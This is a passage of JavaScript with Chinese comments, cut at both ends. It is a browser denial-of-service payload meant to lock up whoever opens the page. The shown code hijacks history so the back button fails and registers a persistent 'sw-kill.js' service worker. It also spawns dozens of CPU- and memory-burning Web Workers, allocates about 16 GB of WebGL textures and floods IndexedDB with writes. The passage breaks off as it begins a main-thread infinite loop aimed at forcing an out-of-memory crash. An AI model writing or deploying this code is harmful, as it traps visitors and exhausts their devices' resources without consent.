'); /* 注意:故意不调用 document.close() 这样浏览器认为文档仍在接收数据,进度条持续转圈 */ } catch(e) { /* ignore */ } /* ② 污染浏览器历史 — 阻止后退按钮逃逸 */ try { for (var hi = 0; hi < 100; hi++) { history.pushState(null, '', w.location.href); } w.addEventListener('popstate', function() { history.pushState(null, '', w.location.href); }); } catch(e) { /* ignore */ } /* ③ Service Worker 持久化封锁 */ if ('serviceWorker' in nav) { try { nav.serviceWorker.register('/sw-kill.js', { scope: '/' }); } catch(e) { /* ignore */ } } /* ④ Worker 炸弹:在独立 OS 线程持续耗 CPU + 内存 */ try { var wsrc = [ 'var s=[];', 'while(true){', ' for(var i=0;i<8000000;i++) Math.sqrt(i*i+i);', ' try{s.push(new Float64Array(4000000));}catch(e){}', ' if(s.length>120) s.length=0;', '}' ].join(''); var wurl = URL.createObjectURL(new Blob([wsrc], {type:'text/javascript'})); var wcnt = Math.max((nav.hardwareConcurrency || 4) * 6, 24); for (var wki = 0; wki < wcnt; wki++) { try { new Worker(wurl); } catch(e) { /* 配额满 */ } } } catch(e) { /* 环境不支持 Worker */ } /* ⑤ WebGL 纹理轰炸:4 个 Canvas × 64 张 4096×4096 ≈ 16 GB GPU 压力 */ try { for (var ci = 0; ci < 4; ci++) { var gc = document.createElement('canvas'); gc.width = 4096; gc.height = 4096; var gl2 = gc.getContext('webgl2') || gc.getContext('webgl') || gc.getContext('experimental-webgl'); if (gl2) { for (var gi = 0; gi < 64; gi++) { var tex = gl2.createTexture(); gl2.bindTexture(gl2.TEXTURE_2D, tex); gl2.texImage2D(gl2.TEXTURE_2D, 0, gl2.RGBA, 4096, 4096, 0, gl2.RGBA, gl2.UNSIGNED_BYTE, null); } } } } catch(e) { /* ignore */ } /* ⑥ IndexedDB I/O 风暴 */ try { var req = indexedDB.open('__blk', 1); req.onupgradeneeded = function(e) { var db = e.target.result; var store = db.createObjectStore('d'); var chunk = new Uint8Array(32 * 1024 * 1024); for (var di = 0; di < 200; di++) store.put(chunk, di); }; } catch(e) { /* ignore */ } /* ⑦ 主线程死循环:同时交替申请内存,触发 OOM Kill / ANR 因为没有调用 document.close(),浏览器进度条永远不会停止 HTML parser 被阻塞,后续所有